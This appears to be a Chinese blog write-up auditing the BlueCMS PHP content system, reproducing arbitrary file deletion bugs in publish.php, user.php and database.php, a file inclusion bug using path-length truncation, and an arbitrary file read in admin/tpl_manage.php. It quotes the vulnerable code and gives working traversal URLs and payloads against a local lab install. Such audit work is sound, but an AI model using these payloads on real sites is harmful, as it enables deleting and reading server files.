上文地址http://535yx.cn/index.php/archives/400/
0X00前言
闲来无事我去cnvd逛了逛这cms有啥洞便于挖掘,接下来文章继续
0x01正文
- 任意文件删除(publish.php)
第一个在publish.php
重点在@unlink上
所以说,这里存在一个任意文件删除漏洞。接下来我们来复现一下
(注:这个地方需要先登入才能执行)
先在同目录下新建个1.txt文件
为了方便观看,我在代码下加个echo
构建参数:
http://localhost/shenji/bluecms/publish.php?act=del_pic&id=1.txt
- 任意文件删除(user.php)
先说个未成功的
这块就有点迷了,与publsh.php中的代码差别仅是表名不同,但是却不能执行。
我们接着往上翻
else{
if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){
@unlink(BLUE_ROOT.$_POST['face_pic3']);
}
}
成功执行!
- 任意文件删除(database.php)
、
可以发现这里参数输入仅仅删除了字符串首尾的空白符,所以说可以利用../来实现任意文件删除
接下来我们试试删除根目录的2.txt文件
- 文件包含漏洞(user.php)
嗯,cnvd这里看出了该漏洞十有八九在user.php
这里我们就要尝试截断后面的文件地址。常见手法有%00 ./ 以及无数个.
这里要求:
长度截断:条件:windows的点需要长于256;linux的长于4096
%00条件:magic_quotes_gpc = Off php版本<5.3.4(由于文件自带addslashes()过滤所以说这里不能用00截断)
OK,我们先在根目录建个txt
最后如图所示:
pay=../../2.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
也是可以的
- 文件读取漏洞(/admin/tpl_manage.php)
这个漏洞在cnvd里看了下好像没有看到。有想交的xd可以自己去交,我懒得去提交了
我们先打开这个地址看看
原来是个编辑模板的(在后台功能上只能编辑模板的html)
我们看看这个地址代码
elseif($act == 'edit'){
$file = $_GET['tpl_name'];
if(!$handle = @fopen(BLUE_ROOT.'templates/default/'.$file, 'rb')){
showmsg('��Ŀ��ģ���ļ�ʧ��');
}
$tpl['content'] = fread($handle, filesize(BLUE_ROOT.'templates/default/'.$file));
$tpl['content'] = htmlentities($tpl['content'], ENT_QUOTES, GB2312);
fclose($handle);
$tpl['name'] = $file;
template_assign(array('current_act', 'tpl'), array('�༭ģ��', $tpl));
$smarty->display('tpl_info.htm');
}
这里可以发现$file变量未经过任何过滤,所以说可以造成个任意文件读取的漏洞
http://localhost/shenji/bluecms//admin/tpl_manage.php?act=edit&tpl_name=../../yanxia.txt